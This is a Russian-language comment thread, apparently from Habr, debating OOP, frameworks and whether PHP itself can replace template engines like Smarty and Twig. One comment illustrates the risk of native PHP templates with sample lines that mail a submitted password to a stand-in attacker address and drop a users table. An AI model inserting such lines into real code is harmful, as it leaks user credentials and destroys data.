Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Хабр доступен 24/7 благодаря поддержке друзей
Комментарии 148
Опытного человека сразу видно, и мысли изложены замечательно. Вот только чувствую — набигут.
А меньшая часть Хабра (уверенно пишушая на Си) вообще не считает php-программистов программистами )))
Хороший Си-программист, напишет WEB-морду (и многое другое) на Си, лучше чем плохой РНР-программист на РНР (и наоборот)
Нет плохих языков (и не только программирования) есть люди которые умеют писать (и говорить) а есть те кто только мычат и сопли жуют…
Нет плохих языков (и не только программирования) есть люди которые умеют писать (и говорить) а есть те кто только мычат и сопли жуют…
А где тут троллинг? Или вы зашли в личку и посмотрели на минусы? Человек высказал своё мнение и высказал вполне адекватно. То, что мнение не совпадает с вашим не значит, что Vladson троллит
Vladson, я с вами не совсем согласен вот в каком плане.
Писать веб-морду на Си можно только в своё удовольствие. В материальном плане это невыгодно, пусть это будет даже самый лучший в мире программист на Си.
Писать веб-морду на Си можно только в своё удовольствие. В материальном плане это невыгодно, пусть это будет даже самый лучший в мире программист на Си.
В современном мире важнее «быстрее» и «дешевле». Да и поддержка веб-морды на Си скорее всего окажется сложнее и дороже поддержки аналогичной морды на PHP при сравнимой квалификации.
Прописные истины — это должно быть понятно каждому
теги радуют
Это как философские знания или законы физики. Всегда были и для тебя кто их знает, конечно, это баян. А для многих не посвященных, возможно, откровение =)
Для «многих не посвященных» содержимое этого топика скорее вредно, чем полезно. Потому что они не смогут понять, когда необходимо использовать эти советы и будут ими оправдывать свой говнокод и нежелание изучать многие хорошие вещи.
верно это… Но вот что теперь не писать по сути полезную информацию из-за того, что ее как то не там могут трактовать недоумы? )
Статья есть и каждому решать, что с ней делать.
Статья есть и каждому решать, что с ней делать.
Может мне показалось, но вы кидаете много камней в огород пхп =) Не так все плохо вокруг. Думать не сразу получается правильно, но наступая на грабли и видя как наступают другие, со временем понимаешь в чем суть.
И ни одного примера кода. В топку такую статью, так как она состоит из общих слов и придраться не к чему, а у меня паросто ощущение что автор не осилил ни ООП, ни MVC, и придумывает предлоги чтобы оправдать кривокод в стиле Perl/PHP 3.
Статья хорошая, но у меня есть дополнения по пункту 1.1, а именно про ООП и классы.
Верно, иногда от ООП можно отойти. Но если проект хоть сколько-то большой и масштабируемый, то это будет первая фатальная ошибка и, возможно, последняя.
Класс — это как раз устройство управления сложностью. К созданию класса надо подходить максимально внимательно, а в итоге нужно получить максимально согласованную абстракцию. Огромное количество программистов пишут сотни никак несвязанных методов в одном классе, что не только затрудняет понимание исходного кода, но и рушит всю концепцию ООП.
Грамотно составленный класс будет гибким и удобным.
Наследование — это очень важный инструмент ООП, но злоупотреблять им не стоит. Наследование — это повышение сложность программы, а именного мы и хотим избежать с ООП. Я еще раз говорю, это не значит, что наследованием пользоваться плохо, это значит, что не надо злоупотреблять.
И, конечно, инкапсуляция. Скрывать все надо до тех пор, пока что-то можно скрывать. Имхо, идеальным кодом можно назвать тот код, что все скрыто на максимально возможном уровне: детали реализации, передаваемые типы и т.д.
Просите за К.О., но раз уж такая тема.
Верно, иногда от ООП можно отойти. Но если проект хоть сколько-то большой и масштабируемый, то это будет первая фатальная ошибка и, возможно, последняя.
Класс — это как раз устройство управления сложностью. К созданию класса надо подходить максимально внимательно, а в итоге нужно получить максимально согласованную абстракцию. Огромное количество программистов пишут сотни никак несвязанных методов в одном классе, что не только затрудняет понимание исходного кода, но и рушит всю концепцию ООП.
Грамотно составленный класс будет гибким и удобным.
Наследование — это очень важный инструмент ООП, но злоупотреблять им не стоит. Наследование — это повышение сложность программы, а именного мы и хотим избежать с ООП. Я еще раз говорю, это не значит, что наследованием пользоваться плохо, это значит, что не надо злоупотреблять.
И, конечно, инкапсуляция. Скрывать все надо до тех пор, пока что-то можно скрывать. Имхо, идеальным кодом можно назвать тот код, что все скрыто на максимально возможном уровне: детали реализации, передаваемые типы и т.д.
Просите за К.О., но раз уж такая тема.
Раз пошла такая пьянка… Те кто начинают ООП с написания класса попадают на одни и те же грабли. Пишут суть обертку. Потом еще и еще. Выходят божественные объекты, делающие все и вся.
По хорошему, ООП должно писаться с интерфейсов взаимодействия (схемку набросать не помешает однозначно), т.е. с написания абстрактного объектного кода, через который видно взаимодействие между объектами.
А вся реализация обработки должна будет написана потом, когда интерфейс между объектами «устаканится». Над инкапсуляцией в этом случае, не нужно думать. Ясно, что все будет инкапсулировано, что не вошло в интерфейс.
Кстати в этом плане использование TDD — правильный путь. Тесты описывают поведение системы. Тесты пишутся до кода, давая понять, что же мы хотим от системы и не давая зациклится на какой-то мелочи реализации, пытаясь довести себя до оргазма идеальным кодом.
По хорошему, ООП должно писаться с интерфейсов взаимодействия (схемку набросать не помешает однозначно), т.е. с написания абстрактного объектного кода, через который видно взаимодействие между объектами.
А вся реализация обработки должна будет написана потом, когда интерфейс между объектами «устаканится». Над инкапсуляцией в этом случае, не нужно думать. Ясно, что все будет инкапсулировано, что не вошло в интерфейс.
Кстати в этом плане использование TDD — правильный путь. Тесты описывают поведение системы. Тесты пишутся до кода, давая понять, что же мы хотим от системы и не давая зациклится на какой-то мелочи реализации, пытаясь довести себя до оргазма идеальным кодом.
> 1.4. Общественное помешательство на шаблонизаторах мне не вполне понятно, ведь большинство скриптовых веб-языков сами являются шаблонизаторами. Самый яркий пример – это PHP: переменные подставляет, циклы и ветвление есть, а главное, что все это не требует дополнительного парсинга шаблонов. При внедрении акселераторов, шаблоны будут прекомпилироваться в байт-код так же, как и все другие части программы.
Не согласен. PHP это как раз пример того, как не следует делать. Если в конечном итоге будет байткод, то лучше для человеческого восприятия использовать шаблоны, т.к. некоторые вещи, которые мне доставались по наследству имели такое месиво из кода и шаблонов, что разгребать было сложно.
В остальном согласен. Не всегда нужен ООП, не всегда РСУБД итд итп.
Не согласен. PHP это как раз пример того, как не следует делать. Если в конечном итоге будет байткод, то лучше для человеческого восприятия использовать шаблоны, т.к. некоторые вещи, которые мне доставались по наследству имели такое месиво из кода и шаблонов, что разгребать было сложно.
В остальном согласен. Не всегда нужен ООП, не всегда РСУБД итд итп.
использовать возможности php как шаблонизатора и месево из html и php-кода это какбэ разные вещи
Объясните это тем, кто в этом нуждается.
Использовать возможности php как шаблонизатора прежде всего небезопасно. Разработчик шаблона может (случайно или нарочно — не суть) вывести пользователю данные, которые выводиться не должны, а то и пользователь их знать вообще не должен. Хороший шаблонизатор скомпилирует шаблон на свой языке в практически такой же код, который напишет человек ручками, но при этом не позволит человеку сделать потенциально небезопасные вещи, что на PHP очень легко, т. к. практически любой код имеет доступ к глобальному пространству имён, а если вспомнить про рефлексию, то и ко всем, даже приватным, свойствам и методам объектов.
Да и писать (и читать) код под шаблонизаторами синтаксически проще, хотя бы не нужно постоянно помнить про экранирование вывода и выключать его только когда это действительно нужно. <?php echo htmlspecialchars($data['object']->name) ?> (пускай даже <?= _($object->name) ?>) всяко сложнее, чем {{ object.name }} (особенно, если редактор/IDE поддерживают подсветку синтаксиса и автодополнение для шаблонизатора). Ну и такие «мелочи» как блоки и наследование шаблонов позволяют не писать не очень очевидный и громоздкий кода типа:
Да и писать (и читать) код под шаблонизаторами синтаксически проще, хотя бы не нужно постоянно помнить про экранирование вывода и выключать его только когда это действительно нужно. <?php echo htmlspecialchars($data['object']->name) ?> (пускай даже <?= _($object->name) ?>) всяко сложнее, чем {{ object.name }} (особенно, если редактор/IDE поддерживают подсветку синтаксиса и автодополнение для шаблонизатора). Ну и такие «мелочи» как блоки и наследование шаблонов позволяют не писать не очень очевидный и громоздкий кода типа:
ob_start();
include 'main_page.html.php';
$content = ob_get_clean();
$include 'layout.html.php';
Ну на счёт последнего — в фреймворках это обычно абстрагированно в что-то типа, но, в целом, с идеей согласен:
<?= new View('header') ?>
Абстрагируется, конечно. И какие-то наследование с блоками могут быть, и другие плюшки (функции/методы вплоть до идентичности «сигнатуры» с тегами). Но синтаксически шаблон на PHP избыточнее явно, даже такие мелочи как '$', ';', '()', '->' оказывается снижают читабельность и даже скорость разработки шаблона.
php как шаблонизатор слишком многословен, плюс при перемешивании php и html блоки кода (начало и конец всяких if, for и прочих) становятся не так очевидны, как в случае с шаблонизаторами. Для сравнения, php и twig:
Шаблонизаторы оптимизированы на читабельность и лаконичность. PHP — нет.
К тому же, с шаблонами легче разобраться дизайнерам/верстальщикам.
P.S.: Ну да, в php есть короткие теги, в том числе вида <?=. Проблема в том, что в самой документации сказано, что лучше их не использовать.
<h1><?php echo htmlspecialchars($something); ?></h1><h1>{{ something|e }}</h1>Шаблонизаторы оптимизированы на читабельность и лаконичность. PHP — нет.
К тому же, с шаблонами легче разобраться дизайнерам/верстальщикам.
P.S.: Ну да, в php есть короткие теги, в том числе вида <?=. Проблема в том, что в самой документации сказано, что лучше их не использовать.
Хорошая статья, не помешает прочитать каждому.
Хотелось бы написать: «Еще один все понял»… Но тут как раз обратная ситуация. И в особенности к PHP.
1.1. ООП и фреймворки (свои или чужие) требуется для больших сайтов, без него будет очень сложно, особенно если необходимо не только сделать, но еще и поддерживать проект. На этом точка. Большая, жирная точка, и другого не дано;
1.2. Иерархическая структура разобьется вдребезги и будет запутанная в случае большого проекта раскиданного по многим серверам;
1.3. Правильно, применяется только то что требуется для проекта;
1.4. Шаблонизаторы необходимы и в PHP, при этом они значительно ускоряют разработку в команде, но для двухстраничного сайта — это не нужно.
1.5. Это идеальный пункт!.. Зачем покупать стул? Ведь Вы можете его сделать сами из подручных средств. Этот пункт просто уничтожает open-source, прям мечта какая-то. :)
if ( $project = «Гостевая книга» ) {
$rules = true;
} else {
print "
Сайт написанный по Вашим правилам, будет идеальным руководством «Как делать нельзя».
Тот кто будет поддерживать или дополнять в дальнейшем этот сайт — будет проклинать Вас на чем свет стоит.\n
В народе данное \«творение\» называют — быдлокод.
";
}
1.1. ООП и фреймворки (свои или чужие) требуется для больших сайтов, без него будет очень сложно, особенно если необходимо не только сделать, но еще и поддерживать проект. На этом точка. Большая, жирная точка, и другого не дано;
1.2. Иерархическая структура разобьется вдребезги и будет запутанная в случае большого проекта раскиданного по многим серверам;
1.3. Правильно, применяется только то что требуется для проекта;
1.4. Шаблонизаторы необходимы и в PHP, при этом они значительно ускоряют разработку в команде, но для двухстраничного сайта — это не нужно.
1.5. Это идеальный пункт!.. Зачем покупать стул? Ведь Вы можете его сделать сами из подручных средств. Этот пункт просто уничтожает open-source, прям мечта какая-то. :)
if ( $project = «Гостевая книга» ) {
$rules = true;
} else {
print "
Сайт написанный по Вашим правилам, будет идеальным руководством «Как делать нельзя».
Тот кто будет поддерживать или дополнять в дальнейшем этот сайт — будет проклинать Вас на чем свет стоит.\n
В народе данное \«творение\» называют — быдлокод.
";
}
Афтар не читатель, афтар пейсатель?
1.1 Как показвыает практика (не будем показывать пальцем) некоторые и без фреймворков и ООП жуют по 10млн пользователей. Использовать чужие фреймворки? в больших проектах? :) Нет уж лучше свои написать, «лучше полчаса потерять, а потом за пять минут долететь» (ц). По целому ряду причин.
1.2 Закрыть в комнате дать Маконнела и Фаулера, не выпускать пока не будет связно отвечать =)
1.3 ???
1.4 Шаблонизатор Smarty да, не нужен. =) Есть же прекрасный Blitz =)
1.5 Самостоятельная разработка всех компонентов для модного ныне хайлоада дешевле, нежели адаптирование чужих поделий к своей системе, что выливается в набор костылей.
Пример вашего кода не имеет ничего общего с процедурным программированием =)
1.2 Закрыть в комнате дать Маконнела и Фаулера, не выпускать пока не будет связно отвечать =)
1.3 ???
1.4 Шаблонизатор Smarty да, не нужен. =) Есть же прекрасный Blitz =)
1.5 Самостоятельная разработка всех компонентов для модного ныне хайлоада дешевле, нежели адаптирование чужих поделий к своей системе, что выливается в набор костылей.
Пример вашего кода не имеет ничего общего с процедурным программированием =)
У вас аватарка не грузится
1.1. Я, наверное, не просто так указал "(свои и чужие)", и я не противник фреймворков.
10 млн пользователей, без ООП, на Пыхе — нет уж покажите пальцем, фото тех кто их поддерживает было бы приятным бонусом.
1.2. Бред.
1.3. По статье прочитайте.
1.4. Не важно какой. У каждого инструментария своя секта.
1.5. Модный ныне хайлоад[x]. Зачем Вам Blitz, зачем Smarty — пишите свой шаблонизатор. Зачем Wordpress — пишите свой блог, это полчаса, а потом за пять минут долетите.
Простите, в irony брать код — это «фи!».
10 млн пользователей, без ООП, на Пыхе — нет уж покажите пальцем, фото тех кто их поддерживает было бы приятным бонусом.
1.2. Бред.
1.3. По статье прочитайте.
1.4. Не важно какой. У каждого инструментария своя секта.
1.5. Модный ныне хайлоад[x]. Зачем Вам Blitz, зачем Smarty — пишите свой шаблонизатор. Зачем Wordpress — пишите свой блог, это полчаса, а потом за пять минут долетите.
Простите, в irony брать код — это «фи!».
Разворачивать классы и объекты в памяти имеет смысл в таких задачах, когда инстанс приложения будет жить хоть какое-то продолжительное время. А когда скрипт запускается чтобы за доли секунды отдать ресурс, то разветвленные концептуальные классы совсем ни к чему.
У типичного cgi/php так всегда. Но очень часто код на базе процедурной парадигмы будет сложнее и хуже читаем чем код на базе ООП. Так что ООП стоит применять там где процедурное программирование уже замедляет разработку, а не ускоряет ее.
Кто сказал, что для наследования и переопределения, обязательно нужны объекты? Вполне подойдет иерархическая файловая структура или иерархические запросы к базе.
Не слишком удачная идея. Все уже
Если Вас беспокоит, что код выглядит не круто, а даже совсем просто, но поставленную задачу все ровно выполняет, то стоит пересмотреть свои представления о программировании.
Чем проще код тем лучше. Постигается сопровождением любого софта в течении пары месяцев.
Общественное помешательство на шаблонизаторах мне не вполне понятно, ведь большинство скриптовых веб-языков сами являются шаблонизаторами.
Это больше касается разделения логики и представления. И опять же касается больше PHP. Да php сам по себе хороший шаблонизатор, но не всегда. Ну а вот оно компилируется, а это не совсем правда. Тот же smarty после первого запуска создает скомпилированный шаблон на php ну а дальше если он есть использует его для представления отображения.
Сейчас многие руководствуются принципом “скачать из интернета и прикрутить”, но даже если времени мало, то хоть просмотрите скачанный код, возможно, это натолкнет на мысль, как то же самое сделать более просто.
Это хороший принцип. Единственное но это оценка качества. Для этого достаточно определить решает ли эта библиотека задачи которые вам нужны и что у нее с документацией. Чем хуже документация, тем больше вероятность некачественного кода.
Невозможно и не нужно отделять данные, логику и представление на одном слое абстракции.
Возможно отделить везде. Проблема в другом, будет ли это приносить бенефиты? В вебе MVC приносит бенефиты, так-как упрощает разработку и объем охватываемых программистом данных. В других областях этого может не произойти.
Нет идеального кода, нужно довольствоваться какой-то степенью универсальности.
Закрепите фукнционал на итерацию и все. Это наиболее правильный вариант. Остальное от лукавого.
>У типичного cgi/php так всегда. Но очень часто код на базе процедурной парадигмы будет сложнее и
Автор имел ввиду что пихать ООП везде — зло, требуется всегда соблюдать баланс между читаемость здравым смыслом и целями.
>Не слишком удачная идея. Все уже украдено придумано за нас. Есть такая штука как namespace вот ими и надо пользоваться. Причем желательно с ООП. Стреляет такое на больших и долгоживущих проектах.
ООП надо использовать лишь там, где оно необходимо — это давно известный факт но почемуто люди упорно пытаются написать везде и все на ООП, прикрутить классы к JS и т.д. Вместо того чтобы пользоватся ООП как инструментом — где и когда нужно, а не ВСЕГДА.
Автор имел ввиду что пихать ООП везде — зло, требуется всегда соблюдать баланс между читаемость здравым смыслом и целями.
>Не слишком удачная идея. Все уже украдено придумано за нас. Есть такая штука как namespace вот ими и надо пользоваться. Причем желательно с ООП. Стреляет такое на больших и долгоживущих проектах.
ООП надо использовать лишь там, где оно необходимо — это давно известный факт но почемуто люди упорно пытаются написать везде и все на ООП, прикрутить классы к JS и т.д. Вместо того чтобы пользоватся ООП как инструментом — где и когда нужно, а не ВСЕГДА.
Автор имел ввиду что пихать ООП везде — зло, требуется всегда соблюдать баланс между читаемость здравым смыслом и целями.
Автор пишет про время выполнения. А оно меньше зависит от сложности логики.
Ну правильная функционалка по накладным расходам всегда опеережает ООП из-за того что ей не требуется время на созданих своих сущностей.
Или я не так понял?
Или я не так понял?
Ну правильная функционалка по накладным расходам всегда опеережает ООП из-за того что ей не требуется время на созданих своих сущностей.
Ничего подобного. Разница там реально маленькая при простой иерархии. Не надо просто фигачить объекты ради объектов и все.
Здесь согласен, но ИМХО при простой иерархии проще читаемо и поддерживаему всетаки функциональное программирование — я не про неймспейсы или чтото другое, а про то, что ради простой задачи где можно обойтись несколькими функциями нет смысла делать ООП вообще. зачем?
но ИМХО при простой иерархии проще читаемо и поддерживаему всетаки функциональное программирование
У меня вот есть такой код 10 структур + 60 функций. Вот знаете в ООП явно проще это все было читать и обозревать.
Не знаю как у вас, но у нас, в России, нормальные шаблонизаторы парсят темплейт один раз. Если вам достаточно убогопхп в качестве шаблонизатора — отлично, но обычным людям надо меньше боли, поэтому они прибегают к помощи нормальных шаблонизаторов, это как раз ложится в вашу теорию о том, что нужно использовать то, что нужно, так что это пункт по всей видимости лишний.
От знаете чего меня умиляет больше всего?
Какая бы не была хорошая статья на хабре про вебдев,
все время все скатывается на то что пхп — гавно + обсуждение какихто фреймворков.
А по шире чуток мыслить нельзя? :-D
Автору респект ваще — одно дело когда ты этим просто руководствуешься,
другое — собрать это систематизировать и написать — уважуха короче!
Какая бы не была хорошая статья на хабре про вебдев,
все время все скатывается на то что пхп — гавно + обсуждение какихто фреймворков.
А по шире чуток мыслить нельзя? :-D
Автору респект ваще — одно дело когда ты этим просто руководствуешься,
другое — собрать это систематизировать и написать — уважуха короче!
За 4 пункт отдельное спасибо. Давно это понял, но не сфорсулировал для себя так чётко.
Спасибо за простое и понятное изложение здравого смысла в программировании :) а то иногда кажется, что код делается ради кода или + на хабре.
8. Не нужно прыгать выше головы. Оставайтесь тем кто вы есть — простым говнокодером. Умники придумали ООП и парадигмы для того чтобы их код не могли читать нормальные пацаны, а на самом деле самые понятные программы писались на перфокартах для ткацких станков. Вот тогда житуха была. И вообще чем больше операторов GOTO тем программа быстрее компилируется. Так что не стоит смотреть на то что все производители ПО скатываются в сраное ООП и шаблоны. Это они делают потому что сами не понимают выгоды структурного программирования и макаронного кода.
Отлично написали про перфекционизм. Такая же проблема. Редко удается абстрагироваться от программирования и просто решить задачу.
Карьера опасносте!
Внимания! Больше внимания! Данная статья пыщ пыщ ваш заработок!
Вы можете согласиться с точкой зрения изложенной в данной статье только в том случае если вы не изучаете «бесчисленные парадигмы, концепции, инструменты и фреймворки» Иначе вам и в голову не придёт писать что-нибудь «проще и главное чтобы работало».
В один прекрасный момент вы вдруг увидите, что человек который пишет тридцать три класса вместо вашей одной строчки Hello, World! получает зарплату в три раза больше, а перспектив у него в десять раз больше. Хотя он явно занимается какой-то ерундой, а вы изящно и просто решили задачу.
Внимания! Больше внимания! Данная статья пыщ пыщ ваш заработок!
Вы можете согласиться с точкой зрения изложенной в данной статье только в том случае если вы не изучаете «бесчисленные парадигмы, концепции, инструменты и фреймворки» Иначе вам и в голову не придёт писать что-нибудь «проще и главное чтобы работало».
В один прекрасный момент вы вдруг увидите, что человек который пишет тридцать три класса вместо вашей одной строчки Hello, World! получает зарплату в три раза больше, а перспектив у него в десять раз больше. Хотя он явно занимается какой-то ерундой, а вы изящно и просто решили задачу.
Это предположение или жизненный опыт?
Это статистика любой рекрутинговой конторы. Да просто оглянитесь вокруг и посмотрите кто больше получает и веселей шагает по ступенькам карьеры — тот кто виртуозно владеет парадигмами ООП (или виртуозно делает вид) или тот кто быстро выдаёт на гора конкретные, простые решения для очень узкой предметной области ака костыли?
Подход описанный в статье был допустим ещё 5 лет назад. Сейчас, когда видишь что в твоём распоряжении целый завод, а не только текстовый редактор и нет никакого смысла самостоятельно что то оптимизировать, то просто не возникает никаких сомнений когда для очень простого функционала ты очень быстро пишешь десять классов или генеришь шаблон MVC. Мой скромный опыт в .net просто не оставляет вариантов для другого подхода. Это будет похоже на то что человек стоя рядом с 6-ти осевым обрабатывающим центром начинает на колене обтачивать поршень напильником. Это безусловно дешевле и может быть в каком то случае и приведёт к результату но в 99% случаев это указывает на профнепргодность. Во всяком случае это повод насторожится. Что вы делали последние три года если не изучали шаблоны, DDT, и MVC?
Подход описанный в статье был допустим ещё 5 лет назад. Сейчас, когда видишь что в твоём распоряжении целый завод, а не только текстовый редактор и нет никакого смысла самостоятельно что то оптимизировать, то просто не возникает никаких сомнений когда для очень простого функционала ты очень быстро пишешь десять классов или генеришь шаблон MVC. Мой скромный опыт в .net просто не оставляет вариантов для другого подхода. Это будет похоже на то что человек стоя рядом с 6-ти осевым обрабатывающим центром начинает на колене обтачивать поршень напильником. Это безусловно дешевле и может быть в каком то случае и приведёт к результату но в 99% случаев это указывает на профнепргодность. Во всяком случае это повод насторожится. Что вы делали последние три года если не изучали шаблоны, DDT, и MVC?
1.4 Категорически не согласен. Шаблонизаторы не нужны одному разработчику, но для команды — это точка пересечения ответственности. Шаблонизаторы помогают распараллелить процесс разработки, это их основной и незаменимый плюс.
Автор не отказывается от шаблонизаторов вообще, он предлагает использовать шаблонизатор от php.
Как вы себе это представляете? Лично мне не очень понятно.
Насколько я понял суть, имеется в виду нечто вроде следующего
Подобный подход используется в битриксе например.
Учитывая, что классические if и foreach во многих шаблонизаторах используются средствами шаблонизатора, когда можно использовать PHP напрямую. Все вычисления разумеется вынести наружу.
С некоторой натяжкой можно сказать, что когда то PHP был шаблонизатором для Perl.
По поводу рациональности использования такого подхода сказать что-то сложно, зависит от ситуации.
<?php foreach ($users as $user): ?>
<?=$user['name'];?>
<?php endforeach; ?>
Подобный подход используется в битриксе например.
Учитывая, что классические if и foreach во многих шаблонизаторах используются средствами шаблонизатора, когда можно использовать PHP напрямую. Все вычисления разумеется вынести наружу.
С некоторой натяжкой можно сказать, что когда то PHP был шаблонизатором для Perl.
По поводу рациональности использования такого подхода сказать что-то сложно, зависит от ситуации.
были ещё HTML теги, но их съел парсер=)
Это издевательство, а не шаблонизация. Читабельность кода по сравнению с тем же смарти, не сравнима
{foreach from=$users item=«user»}
{$user.name}
{/foreach}
Допустить синтаксическую ошибку в коде php в разы проще, чем в смарти
{foreach from=$users item=«user»}
{$user.name}
{/foreach}
Допустить синтаксическую ошибку в коде php в разы проще, чем в смарти
Ни разу не допускал, да и любой редактор php-кода такую конструкцию подсветит, провалидирует и т.д. и т.п.
Никто и не спорит. Однако сам PHP может служить сам себе шаблонизатором, так он устроен.
Например, в документации к нашумевшему в последнее время в комментариях шаблонизатору Blitz написано: «В любом случае, если вы научились эффективно использовать сам PHP в качестве шаблонного движка, обходясь без сторонних продуктов и библиотек — вы счастливый человек. Вы используете самый эффективный с точки зрения производительности подход, и если он вам удобен — придерживайтесь его.»
Лично мне писать на PHP как на шаблонном движке — просто неудобно.
А вот поддерживать проекты, в которых используется PHP как шаблонизатор — наоборот проще (опять таки иногда), так как количество дополнительной документации, которую необходимо изучить, стремится к нулю.
Например, в документации к нашумевшему в последнее время в комментариях шаблонизатору Blitz написано: «В любом случае, если вы научились эффективно использовать сам PHP в качестве шаблонного движка, обходясь без сторонних продуктов и библиотек — вы счастливый человек. Вы используете самый эффективный с точки зрения производительности подход, и если он вам удобен — придерживайтесь его.»
Лично мне писать на PHP как на шаблонном движке — просто неудобно.
А вот поддерживать проекты, в которых используется PHP как шаблонизатор — наоборот проще (опять таки иногда), так как количество дополнительной документации, которую необходимо изучить, стремится к нулю.
А разве ваш код идентичен вышеприведенному? Smarty (давно им не пользовался) разве не экранирует вывод по умолчанию?
А вообще, имхо, главное преимущество «ненативных» шаблонизаторов — они не позволяют сделать что-то вроде <?php mail('hacker@example.com', 'Password', $_POST['password']) ?> или <?php mysql_query('DROP TABLE users') ?>
А вообще, имхо, главное преимущество «ненативных» шаблонизаторов — они не позволяют сделать что-то вроде <?php mail('hacker@example.com', 'Password', $_POST['password']) ?> или <?php mysql_query('DROP TABLE users') ?>
Ничего не экранирует. Для экранирования есть отдельный модификатор escape
далеко не всегда это «преимущество ненативных шаблонов» вообще хоть кому-нибудь нужно. легенда о том, что
сильно понятнее «неподготовленным верстальщикам» чем
довольно натянута, имхо.
{foreach from=$users item=«user»}сильно понятнее «неподготовленным верстальщикам» чем
<?foreach($users as $user){?> довольно натянута, имхо.
<?=
deprecated
Пруф
На самом деле deprecated только <%
Вообще есть такая рекомендация
Using short tags should be avoided when developing applications or libraries that are meant for redistribution, or deployment on PHP servers which are not under your control, because short tags may not be supported on the target server. For portable, redistributable code, be sure not to use short tags.на www.php.net/manual/en/language.basic-syntax.phpmode.php
Не только в битсе. В drupal в модулях тоже можно такое же наблюдать. Выигрыш по скорости сомнителен, а вот поддержка такого кода, имхо, более накладная. Ни когда не жаловал тот же smarty считая его неким псевдоязыком над php, но если возникнет выбор без раздумий выберу smarty.
На Хабре как обычно. Пара нормальных комментариев и куча бесполезных высеров от людей, неспособных видеть дальше своего носа, обобщать и делать выводы. Противно! Статья ведь не о конкретном языке программирования, не о решениях в конкретных случаях. Статья вообще о подходе к программированию.
1.1 — отвратительный совет, не рекомендую ему следовать.
"Неуместное и не адекватное использования инструментов встречается чаще, чем плохие инструменты."
По сути дела вся негативная история компании майкрософт связана с этим принципом.
По сути дела вся негативная история компании майкрософт связана с этим принципом.
Все правельно
столкнулся с этим конга пришлось воспользоватся UMI CMS
парни постарались на славу, применили там все что только знали
у меня клиент просил убрать половину для его задачи, сделать это было не возможно слишком всё сильно завязано было.
После этого вернулся к своей CMS-ке которая на много проще, но нет ни чего лишнего
Хотя это мнение конечно программиста, для «верстальщика» такие монстры как UMI дают хоть какую то надежду поразить закачика ;)
столкнулся с этим конга пришлось воспользоватся UMI CMS
парни постарались на славу, применили там все что только знали
у меня клиент просил убрать половину для его задачи, сделать это было не возможно слишком всё сильно завязано было.
После этого вернулся к своей CMS-ке которая на много проще, но нет ни чего лишнего
Хотя это мнение конечно программиста, для «верстальщика» такие монстры как UMI дают хоть какую то надежду поразить закачика ;)
Избыточный перфекционизм это зло, да, но фреймворки и паттерны изучать надо — это путь к простоте через абстрагирование. По логике автора в веб-приложениях на PHP вредно использовать ООП, потому что объекты умрут через долю секунду. Но во что тогда превратится разработка и поддержка?
Задачи, где «старое доброе процедурное программирование» действительно (а не по причине плохого знания ООП разработчиком) эффективнее ООП, редки и нетривиальны, если речь, конечно, не о helloworld'ах и не о простых скриптах на коленке, в которых время решения непосредственно кореллирует с количеством набранных символов.
Единственная здравая мысль — про шаблонизацию родными средствами PHP, остальное представляет собой смесь словоблудия и «вредных советов».
Единственная здравая мысль — про шаблонизацию родными средствами PHP, остальное представляет собой смесь словоблудия и «вредных советов».
Я очень долго был приверженцем нативной шаблонизации, но последнее время она меня утомила.
Шаблонизатор — это не только более короткий синтаксис, но и ещё куча плюшек, типа автоэкранирования и т.д.
Хотя до сих пор использую нативный php, думаю перейти на twig
Шаблонизатор — это не только более короткий синтаксис, но и ещё куча плюшек, типа автоэкранирования и т.д.
Хотя до сих пор использую нативный php, думаю перейти на twig
Аналогично, только уже перешёл :)
Тоже Твиг? И как впечатление?
Нравится :) Экранирование — бог с ним, действительно плюшка приятная, но не более. А вот наследование и блоки — это вещь. Ещё смотрел в сторону Blitz, но, имхо, большой порог вхождения и для разработки, а для разворачивания.
Недавно думал, чем же это так важно наследование… Есть пару зубодробительных примеров, которые действительно были бы удобными с наследованием, и которые очень тяжело делать без оного?
Например, трёхуровневую иерархию шаблонов (например, «шаблон сайта»-«шаблон раздела»-«шаблон страницы») с разными титлами, сайдбарами и, конечно, контентом сходу в голову не приходит как реализовать, чтоб получилось что-то вроде:
без, как минимум, кучи if'ов и повторения кода.
Не знаю, так с непривычки понятно, или пояснить нужно?
<html>
<head><title>{% block title %}Site title{% endblock %}</title></head>
<body>
<div id="content">
{% block content %}{% endblock %}
</div>
<div id="sidebar">
{% block sidebar %}
Our friends:
...
{% endblock %}
</div>
</body>
</html>
{% extends base.tpl %}
{% block title %}Articles - {{ parent() }}{% endblock %}
{% block content %}{{ content }}{% endblock %}
{% block sidebar %}
Popular articles:
...
{% endblock %}
{% extends articles.tpl %}
{% block title %}{{ article.title }} - {{ parent() }}{% endblock %}
{% block content %}
<h1>{{ article.title }}</h1>
<div>{{ article.body }}</div>
{% block sidebar %}
See also:
...
{{ parent() }}
{% endblock %}без, как минимум, кучи if'ов и повторения кода.
Не знаю, так с непривычки понятно, или пояснить нужно?
Мне пояснять не нужно :)
Чем эта запись лучше чем
<html>
<head><title>{$block_title|default:«Site title»}</title></head>
<body>
<div id=«content»>
{$block_content}
</div>
<div id=«sidebar»>
{$block_sidebar}
</div>
</body>
</html>
Чем эта запись лучше чем
<html>
<head><title>{$block_title|default:«Site title»}</title></head>
<body>
<div id=«content»>
{$block_content}
</div>
<div id=«sidebar»>
{$block_sidebar}
</div>
</body>
</html>
Где у вас будут задаваться block_*, разные для разных урлов (самый простой случай), с собственной разметкой, но возможно частично повторяющие родителя (по иерархии сайта)? Как зададите, что, грубо говоря, у /articles/1 титл должен быть article.name + титл /articles + титл /?
Последние мои наработки по шаблонизации звучат примерно так. Есть конвейер сборки шаблона. Есть разные типы «коробок», которые устанавливаются на конвейер перед запуском. В эти коробки разные модули накидывают свой контент или в виде готового html-кода, или в виде данных. Если есть «ответственный» за отрисовку данных, он трансформирует данные в html на основании своих шаблонов. Готовая сборка отправляется пользователю.
Какие именно модули будут участвовать в сборке — определяет пользователь при настройке страницы.
С тайтлом все просто. Есть «коробка» по отрисовке тайтла. Она на вход не принимает готовый html, только данные. Достаточно каждому модулю накидать данных по пути исполнения кода, и шаблонизатор отрисует их по собственному алгоритму. Это, я считаю, лучше, чем размазывание разных декоративных стилей оформления тайтла по многим сотням шаблонов.
Какие именно модули будут участвовать в сборке — определяет пользователь при настройке страницы.
